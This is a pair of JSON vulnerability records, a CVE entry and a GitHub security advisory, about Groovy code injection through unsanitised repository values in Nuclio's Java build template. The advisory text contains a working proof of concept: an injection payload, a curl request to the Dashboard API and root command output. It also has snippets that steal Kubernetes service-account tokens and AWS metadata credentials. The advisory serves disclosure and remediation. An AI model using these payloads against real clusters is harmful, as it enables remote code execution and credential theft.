{
  "affected": [
    {
      "affectedData": [
        {
          "product": "nuclio",
          "vendor": "nuclio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.16.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Nuclio is a \"Serverless\" framework for Real-Time Events and Data Processing. Prior to version 1.16.5, Nuclio\u0027s Java runtime generates a build.gradle file during function builds using Go\u0027s text/template package. The template renders runtimeAttributes.repositories[] values with the {{ . }} action, which performs no escaping. An attacker can embed a closing brace (}) to break out of the repositories {} block and append arbitrary Groovy statements that execute unconditionally during the Gradle configuration phase. This issue has been patched in version 1.16.5."
    }
  ],
  "id": "CVE-2026-52833",
  "lastModified": "2026-09-02T19:17:21.110",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.0,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.3,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-52833",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-02T18:05:09.574640Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-02T17:17:45.630",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nuclio/nuclio/commit/4c78040c759068e927f3ed7c6507543c15d4ae56"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nuclio/nuclio/pull/4149"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nuclio/nuclio/releases/tag/1.16.5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nuclio/nuclio/security/advisories/GHSA-3v79-m2cg-89ww"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/nuclio/nuclio/security/advisories/GHSA-3v79-m2cg-89ww"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nuclio/nuclio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52833"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-16T19:40:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNuclio\u0027s Java runtime generates a `build.gradle` file during function builds using Go\u0027s `text/template` package. The template renders `runtimeAttributes.repositories[]` values with the `{{ . }}` action, which performs no escaping. An attacker can embed a closing brace (`}`) to break out of the `repositories {}` block and append arbitrary Groovy statements that execute unconditionally during the Gradle configuration phase.\n\nThe Dashboard API runs with NOP authentication by default, so no credentials are required. The build container runs as root. The injected command output confirmed by dynamic testing:\n\n```\n[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)\nnuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr\nroot\nBUILD SUCCESSFUL in 512ms\n```\n\n- **CWE**: CWE-94 (Improper Control of Generation of Code / Code Injection)\n- **Affected versions**: Nuclio \u003c= 1.15.27 (latest as of 2026-05-17, dynamically verified)\n\n---\n\n## Details\n\n### Root Cause\n\n`pkg/processor/build/runtime/java/runtime.go` \u2014 function `createGradleBuildScript()`\n\n**Step 1. User input flows from the API into the template data map without validation**\n\n`types.go:50-64` \u2014 `newBuildAttributes()` decodes `runtimeAttributes` with no content inspection. Any string is accepted for each element of `Repositories`:\n\n```go\n// pkg/processor/build/runtime/java/types.go:50-64\nfunc newBuildAttributes(encodedBuildAttributes map[string]interface{}) (*buildAttributes, error) {\n    newBuildAttributes := buildAttributes{}\n    if err := mapstructure.Decode(encodedBuildAttributes, \u0026newBuildAttributes); err != nil {\n        return nil, errors.Wrap(err, \"Failed to decode build attributes\")\n    }\n    if len(newBuildAttributes.Repositories) == 0 {\n        newBuildAttributes.Repositories = []string{\"mavenCentral()\"}\n    }\n    return \u0026newBuildAttributes, nil  // no validation of repository string contents\n}\n```\n\n**Step 2. `text/template` renders repositories verbatim into Groovy DSL**\n\n`runtime.go:111,139` \u2014 the template is parsed with `text/template`, which does not HTML-encode or escape special characters. `{{ . }}` emits each repository string as-is:\n\n```go\n// runtime.go:111\ngradleBuildScriptTemplate, err := template.New(\"gradleBuildScript\").Parse(j.getGradleBuildScriptTemplateContents())\n\n// runtime.go:139\nerr = gradleBuildScriptTemplate.Execute(io.MultiWriter(\u0026gradleBuildScriptTemplateBuffer, buildFile), data)\n```\n\nThe template section for repositories (`runtime.go:155-159`):\n\n```\nrepositories {\n    {{ range .Repositories }}\n    {{ . }}\n    {{ end }}\n}\n```\n\n`{{ . }}` is the verbatim output action. Because `text/template` (unlike `html/template`) applies no contextual escaping, any character \u2014 including `}`, `(`, `)`, newlines \u2014 is written directly to the `.gradle` file.\n\n**Step 3. Gradle evaluates the injected Groovy at configuration phase**\n\nThe generated `build.gradle` is passed to `./build-user-handler.sh` inside the `quay.io/nuclio/handler-builder-java-onbuild` container. That script runs:\n\n```sh\ngradle tasks       # configuration phase: top-level Groovy runs\ngradle userHandler # configuration phase: top-level Groovy runs again\n```\n\nGroovy evaluates every top-level statement in `build.gradle` before executing any task. Injected code therefore runs unconditionally on both invocations.\n\n### Injection Mechanics\n\nPayload for `repositories[0]`:\n\n```\nmavenCentral()\n}\nprintln(\u0027[RCE-PROOF] \u0027 + [\u0027sh\u0027, \u0027-c\u0027, \u0027id \u0026\u0026 hostname \u0026\u0026 whoami\u0027].execute().text)\nrepositories {\n```\n\nGenerated `build.gradle` (confirmed by Dashboard DEBUG log at path `/tmp/nuclio-build-378373988/staging/handler/build.gradle`):\n\n```groovy\nplugins {\n  id \u0027com.github.johnrengelman.shadow\u0027 version \u00275.2.0\u0027\n  id \u0027java\u0027\n}\n\nrepositories {\n\n    mavenCentral()\n}\nprintln(\u0027[RCE-PROOF] \u0027 + [\u0027sh\u0027, \u0027-c\u0027, \u0027id \u0026\u0026 hostname \u0026\u0026 whoami\u0027].execute().text)\nrepositories {\n\n}\n\ndependencies {\n    compile files(\u0027./nuclio-sdk-java-1.1.0.jar\u0027)\n}\n\nshadowJar {\n   baseName = \u0027user-handler\u0027\n   classifier = null\n}\n\ntask userHandler(dependsOn: shadowJar)\n```\n\nThe `}` on line 9 closes the `repositories {}` block. `println(...)` on line 10 becomes a top-level Groovy statement. `repositories {` on line 11 re-opens a new block that the template\u0027s trailing `}` correctly closes, making the entire file syntactically valid.\n\nGroovy\u0027s `List.execute()` extension method (e.g., `[\u0027sh\u0027, \u0027-c\u0027, \u0027cmd\u0027].execute()`) runs an OS process. `.text` captures its standard output. The injected `println` logs the output to Gradle\u0027s stdout, which appears in the kaniko executor log.\n\n---\n\n## Proof of Concept\n\n### Environment Setup\n\nThe following steps reproduce the verified environment. All commands were executed and verified on 2026-05-17.\n\n#### 1. Create a dedicated kind cluster\n\n```bash\ncat \u003e /tmp/kind-vul006.yaml \u003c\u003c\u0027EOF\u0027\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n- role: control-plane\n  extraPortMappings:\n  - containerPort: 8070\n    hostPort: 8070\n    protocol: TCP\n- role: worker\nEOF\n\nkind create cluster --name vul-006 --config /tmp/kind-vul006.yaml\n```\n\nExpected output:\n```\nCreating cluster \"vul-006\" ...\n \u2713 Ensuring node image (kindest/node:v1.27.3)\n \u2713 Preparing nodes\n \u2713 Writing configuration\n \u2713 Starting control-plane\n \u2713 Installing CNI\n \u2713 Installing StorageClass\n \u2713 Joining worker nodes\nSet kubectl context to \"kind-vul-006\"\n```\n\n#### 2. Pre-load required images\n\n```bash\n# Pull images on host\ndocker pull quay.io/nuclio/dashboard:1.15.27-amd64\ndocker pull quay.io/nuclio/controller:1.15.27-amd64\ndocker pull gcr.io/kaniko-project/executor:v1.23.2\ndocker pull quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64\n\n# Load into kind cluster\nkind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-006\nkind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-006\nkind load docker-image gcr.io/kaniko-project/executor:v1.23.2 --name vul-006\nkind load docker-image quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64 --name vul-006\n```\n\n#### 3. Deploy a local image registry accessible from kind nodes\n\n```bash\n# Start registry (reuse existing if present)\ndocker run -d --name kind-registry --restart=always \\\n  --network kind -p 127.0.0.1:5001:5000 registry:2\n\n# Verify kind nodes can reach it\nREGISTRY_IP=$(docker inspect kind-registry \\\n  --format \u0027{{(index .NetworkSettings.Networks \"kind\").IPAddress}}\u0027)\ndocker exec vul-006-control-plane curl -s http://${REGISTRY_IP}:5000/v2/\n# Expected: {}\n```\n\n#### 4. Install Nuclio via Helm\n\n```bash\nkubectl --context kind-vul-006 create namespace nuclio\n\ncat \u003e /tmp/nuclio-values.yaml \u003c\u003c\u0027EOF\u0027\ndashboard:\n  enabled: true\n  containerBuilderKind: \"kaniko\"\n  monitorDockerDeamon:\n    enabled: false\n  image:\n    pullPolicy: IfNotPresent\n  kaniko:\n    insecurePushRegistry: true\n    insecurePullRegistry: true\n    initContainerImage:\n      busybox:\n        repository: gcr.io/iguazio/alpine   # substitute for busybox if Docker Hub rate-limited\n        tag: \"3.20\"\n\nregistry:\n  pushPullUrl: \"kind-registry:5000\"\n\ncontroller:\n  enabled: true\n  image:\n    pullPolicy: IfNotPresent\n\nrbac:\n  create: true\n  crdAccessMode: cluster\nEOF\n\nhelm install nuclio ./hack/k8s/helm/nuclio \\\n  --namespace nuclio \\\n  --kube-context kind-vul-006 \\\n  -f /tmp/nuclio-values.yaml \\\n  --wait --timeout 120s\n```\n\nExpected output:\n```\nNAME: nuclio\nSTATUS: deployed\nREVISION: 1\n```\n\n#### 5. Expose the Dashboard and verify connectivity\n\n```bash\nkubectl --context kind-vul-006 port-forward \\\n  -n nuclio svc/nuclio-dashboard 8070:8070 \u0026\n\n# Wait for readiness\nsleep 5\ncurl -s http://localhost:8070/api/functions -o /dev/null -w \"HTTP %{http_code}\\n\"\n# Expected: HTTP 200\n\n# Create the default project required by the API\ncurl -s -X POST http://localhost:8070/api/projects \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"metadata\":{\"name\":\"default\",\"namespace\":\"nuclio\"},\"spec\":{}}\u0027\n```\n\n### Exploitation Steps\n\n#### Step 1 \u2014 Send the malicious function definition\n\nThe `runtimeAttributes.repositories` field accepts any string. Use Python to build a\ncorrectly escaped JSON payload:\n\n```python\nimport json, base64\n\n# Minimal valid Java handler source\njava_src = \"\"\"import io.nuclio.Context;\nimport io.nuclio.Event;\npublic class Handler implements io.nuclio.EventHandler {\n    @Override\n    public Object handleEvent(Context ctx, Event event) { return \"hello\"; }\n}\"\"\"\n\n# Injection: close the repositories block, run a command, re-open the block\ninjection = (\n    \"mavenCentral()\\n\"\n    \"}\\n\"\n    \"println(\u0027[RCE-PROOF] \u0027 + [\u0027sh\u0027, \u0027-c\u0027, \u0027id \u0026\u0026 hostname \u0026\u0026 whoami\u0027].execute().text)\\n\"\n    \"repositories {\"\n)\n\npayload = {\n    \"metadata\": {\"name\": \"vul006-test\", \"namespace\": \"nuclio\"},\n    \"spec\": {\n        \"runtime\": \"java\",\n        \"handler\": \"io.nuclio.Handler\",\n        \"build\": {\n            \"functionSourceCode\": base64.b64encode(java_src.encode()).decode(),\n            \"runtimeAttributes\": {\"repositories\": [injection]}\n        },\n        \"minReplicas\": 0, \"maxReplicas\": 1\n    }\n}\n\nwith open(\"/tmp/payload.json\", \"w\") as f:\n    json.dump(payload, f)\n```\n\n```bash\nHTTP_CODE=$(curl -s -o /tmp/response.json -w \"%{http_code}\" \\\n    -X POST http://localhost:8070/api/functions \\\n    -H \"Content-Type: application/json\" \\\n    -H \"x-nuclio-project-name: default\" \\\n    -d @/tmp/payload.json)\necho \"HTTP: ${HTTP_CODE}\"\n```\n\nExpected output:\n```\nHTTP: 202\n```\n\nNo authentication required. No validation error for the injected repository value.\n\n#### Step 2 \u2014 Confirm template injection in the Dashboard DEBUG log\n\n```bash\nkubectl --context kind-vul-006 logs \\\n    -n nuclio deploy/nuclio-dashboard --tail=100 \\\n    | grep \"Created gradle build script\" \\\n    | python3 -c \"\nimport sys, json, re\nfor line in sys.stdin:\n    m = re.search(r\u0027Created gradle build script ({.*})\u0027, line)\n    if m:\n        print(json.loads(m.group(1))[\u0027content\u0027])\n\"\n```\n\nActual output (from verified run):\n```\nplugins {\n  id \u0027com.github.johnrengelman.shadow\u0027 version \u00275.2.0\u0027\n  id \u0027java\u0027\n}\n\nrepositories {\n\n\tmavenCentral()\n}\nprintln(\u0027[RCE-PROOF] \u0027 + [\u0027sh\u0027, \u0027-c\u0027, \u0027id \u0026\u0026 hostname \u0026\u0026 whoami\u0027].execute().text)\nrepositories {\n\n}\n\ndependencies {\n\n    compile files(\u0027./nuclio-sdk-java-1.1.0.jar\u0027)\n}\n\nshadowJar {\n   baseName = \u0027user-handler\u0027\n   classifier = null\n}\n\ntask userHandler(dependsOn: shadowJar)\n```\n\nThe Dashboard DEBUG log (path logged: `/tmp/nuclio-build-378373988/staging/handler/build.gradle`) confirms the injected Groovy reached the file verbatim.\n\n#### Step 3 \u2014 Wait for the kaniko build job and observe RCE output\n\n```bash\n# Wait for the kaniko pod to appear\nuntil kubectl --context kind-vul-006 get pods -n nuclio --no-headers \\\n    | grep -q \"kaniko\"; do sleep 2; done\n\nPOD=$(kubectl --context kind-vul-006 get pods -n nuclio --no-headers \\\n    | grep kaniko | awk \u0027{print $1}\u0027)\necho \"Build pod: ${POD}\"\n\n# Wait for completion\nuntil kubectl --context kind-vul-006 get pod -n nuclio \"${POD}\" \\\n    --no-headers | grep -qE \"Completed|Error\"; do sleep 3; done\n\n# Retrieve execution evidence\nkubectl --context kind-vul-006 logs -n nuclio \"${POD}\" \\\n    -c kaniko-executor | grep -A3 \"RCE-PROOF\"\n```\n\nActual output (from verified run, pod `nuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr`):\n```\n[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)\nnuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr\nroot\nBUILD SUCCESSFUL in 2s\n\n[RCE-PROOF] uid=0(root) gid=0(root) groups=0(root)\nnuclio-kanikojob.nuclioprocessorvul006rcev3latest.tkxsslz06ppcr\nroot\nBUILD SUCCESSFUL in 512ms\n```\n\nThe marker `[RCE-PROOF]` appears twice \u2014 once per `gradle` invocation (`gradle tasks`\nand `gradle userHandler`). The output confirms:\n- `uid=0(root)` \u2014 execution as root inside the builder container\n- The pod name as hostname \u2014 confirms execution is inside the real build container, not simulated\n- `root` \u2014 `whoami` output corroborates the UID\n\n### Cleanup\n\n```bash\nkubectl --context kind-vul-006 delete nucliofunction vul006-test -n nuclio\nkind delete cluster --name vul-006\n```\n\n---\n\n## Impact\n\n### Direct Impact\n\nAn unauthenticated attacker can execute arbitrary OS commands as root inside the function builder container on every Java function build. Confirmed capabilities from the build container environment:\n\n- Read/write the build container filesystem\n- Access network endpoints reachable from the build pod\n- Tamper with the compiled function artifact (`.jar`) before it is packaged into the\n  processor image \u2014 effectively poisoning the resulting function\u0027s image\n\n### Privilege Escalation \u2014 Docker Socket Escape (Verified: NOT directly exploitable in default configuration)\n\n**Verification result: In the default docker builder configuration, direct Docker socket escape via Gradle code injection is NOT exploitable.**\n\n#### Environment\n\n- Cluster: kind-vul-009, Nuclio v1.15.27-amd64\n- Builder: `NUCLIO_CONTAINER_BUILDER_KIND=docker` (confirmed via `kubectl describe`)\n- Dashboard pod: `nuclio-dashboard-5f8ddc949c-sfzh4`\n- Verified: 2026-05-19 06:21 UTC\n\n#### docker.sock Mount Confirmed on Dashboard Pod\n\n```\nMounts:\n  /var/run/docker.sock from docker-sock (rw)\n\nVolumes:\n  docker-sock:\n    Type:     HostPath (bare host directory volume)\n    Path:     /var/run/docker.sock\n```\n\nThe Docker socket is accessible within the Dashboard container itself (Docker v29.1.2 API confirmed reachable).\n\n#### Build Flow in docker Builder Mode\n\nNuclio generates a `Dockerfile.onbuild` and submits it to Docker daemon via the socket:\n\n```dockerfile\nFROM quay.io/nuclio/handler-builder-java-onbuild:1.15.27-amd64\nCOPY handler/build.gradle /home/gradle/src/userHandler\nCOPY ${NUCLIO_BUILD_LOCAL_HANDLER_DIR} /home/gradle/src/userHandler\nRUN cd /home/gradle/src/userHandler \u0026\u0026 ./build-user-handler.sh   # Gradle executes here\n```\n\nActual command issued (from Dashboard DEBUG log):\n\n```\ndocker build --network host --force-rm -t nuclio-onbuild-d8602mam53lc7e12q410 \\\n  -f Dockerfile.onbuild --build-arg NUCLIO_LABEL=1.15.27 ...\n```\n\n#### Probe Results (Step 7/9 RUN Layer)\n\nInjection payload in `repositories[0]`:\n\n```\nmavenCentral()\n}\nprintln(\u0027[PROBE-1] docker.sock exists: \u0027 + new File(\u0027/var/run/docker.sock\u0027).exists())\nprintln(\u0027[PROBE-2] \u0027 + [\u0027sh\u0027, \u0027-c\u0027, \u0027ls -la /var/run/docker.sock 2\u003e\u00261 || echo NOT_FOUND\u0027].execute().text)\nprintln(\u0027[PROBE-ENV] hostname=\u0027 + [\u0027sh\u0027, \u0027-c\u0027, \u0027hostname\u0027].execute().text.trim())\nrepositories {\n```\n\nGradle output (captured twice \u2014 once per `gradle tasks` / `gradle userHandler` invocation):\n\n```\n\u003e Configure project :\n[PROBE-1] docker.sock exists: false\n[PROBE-2] ls: cannot access \u0027/var/run/docker.sock\u0027: No such file or directory\nNOT_FOUND\n\n[PROBE-ENV] hostname=VM-0-8-ubuntu\n\nBUILD SUCCESSFUL in 2s\n```\n\nThe RCE executed successfully. The `docker.sock` does not exist inside the `RUN`-stage container.\n\n#### Root Cause\n\nEach `RUN` instruction in a `docker build` executes inside an isolated intermediate container\n(`b747a20b21ba`). That container:\n\n1. Has a filesystem built from image layers only \u2014 it does **not** inherit volume mounts from the caller (the Dashboard container).\n2. `--network host` shares the host network namespace (explaining `hostname=VM-0-8-ubuntu`) but does **not** share the filesystem.\n3. Docker daemon never exposes the host filesystem (including `/var/run/docker.sock`) to build-stage containers unless the Dockerfile explicitly arranges it.\n\n#### Conditions Required for Exploitability\n\nThis path becomes exploitable only under non-default configurations:\n\n- **Dockerfile with explicit socket bind**: e.g., BuildKit `--mount=type=bind,source=/var/run/docker.sock,...` in the onbuild image, or replacing `docker build` with `docker run -v /var/run/docker.sock:/var/run/docker.sock`\n- **Privileged build containers**: `--privileged` mode with `mknod` device node creation\n- **Docker-in-Docker setup**: Docker daemon pre-installed and launched inside the builder image\n\nNone of these conditions exist in the standard Nuclio Helm chart deployment.\n\nEvidence: `evidence/logs/docker-builder-socket-probe.log`\n\n### Privilege Escalation \u2014 Kubernetes ServiceAccount Token\n\nThe build pod can read the ServiceAccount token mounted within it. **However**, the kaniko Job\u0027s `serviceAccountName` is sourced from `builderServiceAccount`, function `serviceAccount`, `kaniko.defaultServiceAccount`, or the platform\u0027s default function SA (see `pkg/containerimagebuilderpusher/kaniko.go:301`, `:375`, `:840-849`). This is not inherently the same as the Nuclio Dashboard\u0027s high-privilege ServiceAccount.\n\nIn deployments where the build pod uses a high-privilege ServiceAccount (e.g., where an administrator has bound overly broad RBAC roles to the builder SA), an attacker can read the token and query the Kubernetes API:\n\n```groovy\n// Read the build pod\u0027s own SA token (not the Dashboard SA)\ndef token = new File(\u0027/var/run/secrets/kubernetes.io/serviceaccount/token\u0027).text\n[\u0027sh\u0027, \u0027-c\u0027, \"curl -sk -H \u0027Authorization: Bearer ${token}\u0027 \" +\n \u0027https://kubernetes.default.svc/api/v1/namespaces/nuclio/secrets\u0027].execute().text\n```\n\nThe effective permissions of this token depend on the RBAC bindings of the build pod\u0027s ServiceAccount. Under least-privilege configurations, this token may not be able to access sensitive resources.\n\n### Cross-Tenant Access (Horizontal Escalation)\n\nNuclio uses Kubernetes namespaces for tenant isolation. Build containers in docker mode share the host Docker daemon. An attacker can enumerate and access containers belonging to other tenants via the Docker socket.\n\n### Cloud Instance Metadata (SSRF \u2014 Managed Kubernetes)\n\nIn EKS, GKE, or AKS environments, the build container can reach the cloud instance metadata service:\n\n```groovy\n// AWS IMDSv2 \u2014 retrieve IAM role credentials\ndef imdsToken = [\u0027sh\u0027, \u0027-c\u0027,\n    \u0027curl -s -X PUT \"http://169.254.169.254/latest/api/token\" \u0027 +\n    \u0027-H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"\u0027].execute().text.trim()\ndef role = [\u0027sh\u0027, \u0027-c\u0027,\n    \"curl -s -H \u0027X-aws-ec2-metadata-token: ${imdsToken}\u0027 \" +\n    \u0027http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0027].execute().text\n```\n\nObtained temporary IAM credentials grant access to AWS services (ECR, S3, etc.) available to the node\u0027s IAM role.\n\n---\n\n## Severity\n\n**CVSS 3.1 Score: 10.0 (Critical)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n```\n\n| Metric | Value | Rationale |\n|--------|-------|-----------|\n| Attack Vector | Network | Dashboard API is network-accessible |\n| Attack Complexity | Low | Single POST request; no race condition or special preparation |\n| Privileges Required | None | Default NOP authentication requires no credentials |\n| User Interaction | None | No user action required |\n| Scope | Changed | Impact can escape the build container under common production deployments (see below) |\n| Confidentiality | High | Registry credentials, SA tokens, cloud credentials readable in most deployments |\n| Integrity | High | Function images can be tampered; cluster resources modifiable |\n| Availability | High | Build pipeline can be disrupted; cluster resources deletable |\n\n### Rating Rationale\n\nThis RCE has realistic conditions for further credential acquisition and lateral movement from the build container. In particular, under the following common production deployment scenarios:\n\n- Kaniko builds use registry secrets (image push credentials mounted into the build pod)\n- ECR registry provider secrets are configured\n- Node IAM metadata is reachable (IMDS not blocked)\n- Build pods use a high-privilege ServiceAccount\n\nAn attacker can read image registry credentials, AWS/GCP temporary credentials, or Kubernetes SA tokens, and subsequently poison the image registry, access cluster resources, or pivot to cloud resources. A **Critical** rating is justified under these common deployment conditions.\n\n**Downgrade conditions**: If a deployment follows least-privilege principles \u2014 no registry/cloud credential mounts, IMDS blocked, build SA has no sensitive RBAC bindings \u2014 the impact is primarily limited to code execution within the build container and artifact tampering. This remains **High** severity but should not be justified on the basis of \"default lateral movement.\"\n\n---\n\n## Affected Versions\n\n- Nuclio \u003c= **1.15.27** (latest release as of 2026-05-17)\n- All versions that include the Java runtime build path\n  (`pkg/processor/build/runtime/java/runtime.go`)\n\nThe vulnerability was introduced when the Java runtime and its `runtimeAttributes` support were added and has not been addressed in any release to date.\n\n---\n\n## Patched Versions\n\nhttps://github.com/nuclio/nuclio/releases/tag/1.16.5\n\n---\n\n## Workarounds\n\nUntil a patch is released, the following mitigations reduce exposure:\n\n1. **Enable authentication on the Dashboard.** Set `NUCLIO_AUTH_KIND` to a non-NOP\n   authenticator (e.g., `iguazio`). This prevents unauthenticated access to the function\n   creation API.\n\n2. **Network-restrict the Dashboard port (8070).** Allow access only from trusted internal\n   networks or VPN. Do not expose the Dashboard to the public internet.\n\n3. **Disable Java runtime support** if not in use. Remove the Java runtime handler from\n   the dashboard deployment configuration.\n\n4. **Use kaniko over docker builder.** In kaniko mode the Docker socket is not mounted,\n   eliminating the host-escape path. The build-time RCE remains exploitable, but the\n   blast radius is reduced to the build pod.\n\n---\n\n## Remediation Recommendations\n\n**Option 1 \u2014 Input validation (recommended for quick fix)**\n\nIn `newBuildAttributes()` (`types.go:50`), validate each repository string against an allowlist pattern before accepting it:\n\n```go\nimport \"regexp\"\n\nvar repoPattern = regexp.MustCompile(`^[a-zA-Z0-9_\\-\\(\\)\\.:\\/]+$`)\n\nfor _, repo := range newBuildAttributes.Repositories {\n    if !repoPattern.MatchString(repo) {\n        return nil, fmt.Errorf(\"invalid repository value: %q\", repo)\n    }\n}\n```\n\n**Option 2 \u2014 Replace `text/template` with a safe rendering approach**\n\nThe repositories block should not use a Go template at all. Build the `build.gradle` content programmatically using string concatenation with per-value validation, rather than via a template that cannot express per-field escaping semantics.\n\n**Option 3 \u2014 Content Security: reject newlines and Groovy metacharacters**\n\nReject any repository value containing `\\n`, `\\r`, `{`, `}`, `(`, `)`, `\u0027`, `\"`. These characters are not present in valid Maven repository declarations.\n\n---\n\n## Resources\n\n- `pkg/processor/build/runtime/java/runtime.go` \u2014 `createGradleBuildScript()` (line 87)\n- `pkg/processor/build/runtime/java/runtime.go` \u2014 `getGradleBuildScriptTemplateContents()` (line 149)\n- `pkg/processor/build/runtime/java/types.go` \u2014 `newBuildAttributes()` (line 50)\n- Go `text/template` documentation: https://pkg.go.dev/text/template\n- Groovy `List.execute()` / `String.execute()`: https://docs.groovy-lang.org/latest/html/groovy-jdk/java/lang/String.html#execute()\n- Nuclio Dashboard authentication configuration: https://nuclio.io/docs/latest/reference/api/nuclio_dashboard_api/",
  "id": "GHSA-3v79-m2cg-89ww",
  "modified": "2026-07-16T19:40:53Z",
  "published": "2026-07-16T19:40:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/security/advisories/GHSA-3v79-m2cg-89ww"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/pull/4149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/commit/4c78040c759068e927f3ed7c6507543c15d4ae56"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuclio/nuclio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/releases/tag/1.16.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nuclio: Unsanitized runtimeAttributes.repositories injected into Groovy build.gradle leads to build-time RCE"
}